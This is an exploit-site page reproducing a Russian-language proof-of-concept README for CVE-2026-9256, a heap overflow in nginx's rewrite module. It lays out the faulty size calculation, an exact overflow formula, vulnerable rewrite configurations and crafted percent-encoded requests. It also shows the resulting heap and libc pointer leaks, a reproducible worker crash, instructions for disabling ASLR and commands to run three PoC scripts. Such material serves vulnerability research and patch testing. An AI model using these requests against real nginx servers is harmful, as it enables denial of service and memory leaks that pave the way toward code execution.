Sploitus

Exploit for CVE-2026-9256-Poc

kitploit · 2026-08-25

Exploit Code

MARKDOWN283 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-3NOU9H-CVE-2026-9256-POC
# nginx ngx_http_rewrite_module Переполнение буфера в куче

## Описание

nginx Plus и nginx Open Source `ngx_http_rewrite_module` содержат уязвимость переполнения буфера в куче. Когда директива `rewrite` использует регулярное выражение с несколькими перекрывающимися группами захвата PCRE (например, `^/((.*))$`) и замену, ссылающуюся на несколько захватов (например, `$1&y=$2`), вычисление размера буфера статического пути занижает необходимый объём памяти, в результате чего фактическая запись превышает выделенный размер (Pool Slip).

Неавторизованный злоумышленник может вызвать это с помощью специально сформированного HTTP-запроса, что приводит к переполнению буфера в куче в рабочем процессе. Если ASLR отключён или может быть обойдён, возможно выполнение кода.

## Корневая причина

**Файл** : `src/http/ngx_http_script.c:1143-1155`

root@kitploit:~
    
    
    if (code->lengths == NULL) {
        e->buf.len = code->size;
        if (code->uri) {
            if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
                // ОШИБКА: издержки экранирования считаются один раз для всего URI
                e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                                 NGX_ESCAPE_ARGS);
            }
        }
        for (n = 2; n < r->ncaptures; n += 2) {
            e->buf.len += r->captures[n + 1] - r->captures[n];  // исходная длина
        }
    }
    

Каждый `$N` экранируется независимо во время копирования (`ngx_http_script.c:1397-1401`). Вложенные захваты приводят к двойному экранированию одной и той же подстроки, удваивая стоимость экранирования, но при выделении памяти это учитывается только один раз.

**Формула переполнения** (2-уровневая вложенность `((.+))`, длина URI = `Q` (`+` символов)):

root@kitploit:~
    
    
    выделено   = code_size + 2*Q + 2*(Q+1)
    фактически = code_size + 2*(3*Q + 1)
    переполнение = 2*Q  (точно управляемо)
    

**Условия срабатывания** (требуются все три):

## Тестовая среда

### Требования

  * Docker (с docker compose)
  * Python 3 (без сторонних зависимостей)



### Структура каталогов

root@kitploit:~
    
    
    .
    ├── env/
    │   ├── Dockerfile                 # На основе nginx:1.31.0
    │   ├── docker-compose.yml         # Конфигурация контейнера (SYS_PTRACE)
    │   ├── entrypoint.sh              # ASLR включён (по умолчанию)
    │   ├── entrypoint_aslr_off.sh     # ASLR выключен (для libc_leak)
    │   └── nginx.conf                 # Уязвимая конфигурация
    ├── heap_leak.py                   # PoC heap_leak
    ├── libc_leak.py                   # PoC libc_leak
    ├── crash_verify.py                # PoC crash_verify
    ├── LICENSE
    └── README.md
    

### Сборка и запуск

root@kitploit:~
    
    
    cd env/
    
    # Загрузить базовый образ (~200MB)
    docker pull nginx:1.31.0
    
    # Собрать и запустить
    docker compose up --build -d
    
    # Проверка
    curl -s http://127.0.0.1:19321/
    # Ожидается: ok
    

### Часто используемые команды

root@kitploit:~
    
    
    # Просмотр логов nginx (информация о сбое)
    docker compose logs -f
    
    # Остановить и удалить
    docker compose down
    
    # Перезапустить (после сбоя)
    docker compose restart
    

### ASLR

**Проверка текущего состояния** :

root@kitploit:~
    
    
    cat /proc/sys/kernel/randomize_va_space
    # 0 = выключен, 1 = частичный, 2 = полный
    

heap_leak и crash_verify работают независимо от ASLR. libc_leak требует отключения ASLR на хосте:

root@kitploit:~
    
    
    sudo sysctl -w kernel.randomize_va_space=0
    docker compose restart
    

Альтернативно, отключите ASLR только для процесса nginx (без привилегий на хосте): скопируйте `entrypoint_aslr_off.sh` поверх `entrypoint.sh`, затем `docker compose up --build -d`.

> Примечание: контейнеры используют ядро хоста. `randomize_va_space` должен быть установлен на хосте.

## Подтверждённые результаты

### Утечка указателя кучи

**Требуемая конфигурация** :

root@kitploit:~
    
    
    location /echo/ {
        rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
    }
    location /show {
        internal;
        default_type text/plain;
        return 200 "x=$arg_x\ny=$arg_y\n";
    }
    

**Механизм** : Pool Slip приводит к тому, что `ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))` попадает в зону переполнения. Инициализированные поля движка скриптов (`e->ip`, `e->sp`, `e->request`) просачиваются в строку запроса переписанного URI и отображаются через `return 200 "$arg_y"`.

**Запрос** :

root@kitploit:~
    
    
    GET /echo/%25%25%25%25%25A HTTP/1.0
    

**Подтверждённый результат** (nginx:1.31.0, ASLR включён):

root@kitploit:~
    
    
    e->ip      = 0x00006544dec82430  (массив кодов пула конфигурации)
    e->sp      = 0x00006544dec5ada0  (стек скриптов пула запросов)
    e->request = 0x00006544dec58880  (структура запроса)
    

**Что утекает** : Необработанные указатели кучи в адресном пространстве рабочего процесса nginx.

**PoC** : `heap_leak.py`

* * *

### Утечка указателя диапазона libc

**Требуемая конфигурация** :

root@kitploit:~
    
    
    location /leak2/ {
        rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
    }
    location /proxy-leak {
        internal;
        proxy_pass http://backend;           # должен быть доступен
        add_header X-Leak-Y "$arg_y" always;
    }
    

**Механизм** : proxy_pass запускает инициализацию вышестоящего сервера. Структуры вышестоящего сервера, содержащие указатели на библиотечные функции, размещаются в зоне переполнения. `add_header "$arg_y"` записывает необработанные байты в заголовок ответа.

**Запрос** :

root@kitploit:~
    
    
    GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
    

**Подтверждённый результат** (nginx:1.31.0, ASLR выключен, request_pool_size=7920):

root@kitploit:~
    
    
    leaked ptr = 0x00007fbfc3b7c346
    

**Что утекает** : Необработанный указатель в диапазоне `0x7f...` (область загрузки libc). Чтобы вычислить базовый адрес libc, прочитайте `/proc/<pid>/maps` на целевой системе и вычислите `leaked_ptr - libc_base`.

**Зависимость от ASLR** : Этот этап требует выключенного ASLR. Утекший указатель происходит из метаданных освобождённого блока (fd/bk → main_arena). При включённом ASLR смещение освобождённого блока варьируется, и небольшие переполнения не могут надёжно до него добраться.

**PoC** : `libc_leak.py`

* * *

> **Более простой альтернативный метод** : Использование режима `redirect` (`rewrite ^/r/((.*))$ http://.../?$1$2 redirect;`), заголовок `Location` напрямую выводит необработанные байты переполнения без проблем с кодировкой символов. Один запрос может привести к утечке указателей кучи (Q=10~450) или вызвать сбой (Q >= 500), без необходимости в proxy_pass или специальном pool_size.

* * *

### Сбой рабочего процесса (DoS)

**Требуемая конфигурация** :

root@kitploit:~
    
    
    location /leak9/ {
        rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
    }
    location /show9 {
        internal;
        default_type text/plain;
        return 200 "i=$arg_i\n";
    }
    

**Механизм** : Вложенность 9 уровней даёт переполнение = 16 _Q (против 2_ Q для 2 уровней). При request_pool_size=7920, Q=123 выходит за границу блока пула, перезаписывая метаданные соседнего блока malloc. glibc обнаруживает повреждение и завершает рабочий процесс. Мастер автоматически перезапускает.

**Запрос** :

root@kitploit:~
    
    
    GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
    

**Подтверждённый результат** (nginx:1.31.0, request_pool_size=7920):

root@kitploit:~
    
    
    Q=122: нормальный ответ  (переполнение=1952B)
    Q=123: нет ответа, nginx error.log:
      corrupted size vs. prev_size
      worker process XX exited on signal 6 (core dumped)
    Воспроизведено 5/5 раз.
    

**Вложенность vs pool_size** : N уровней дают переполнение = `(N-1)*2*Q`. Значение pool_size по умолчанию 4096 с 9 уровнями вложенности достаточно для сбоя. Больший pool_size требует меньшего количества уровней для заданного Q.

**PoC** : `crash_verify.py`

## Запуск PoC

root@kitploit:~
    
    
    # Этап 1: Утечка указателя кучи
    python3 heap_leak.py 127.0.0.1 19321
    
    # Этап 2: Утечка указателя диапазона libc (требуется выключенный ASLR)
    python3 libc_leak.py 127.0.0.1 19321
    
    # Этап 3: DoS-сбой
    python3 crash_verify.py 127.0.0.1 19321
    

## Отказ от ответственности

Данное доказательство концепции предоставлено исключительно для образовательных целей и целей авторизованного исследования безопасности. Несанкционированное использование запрещено.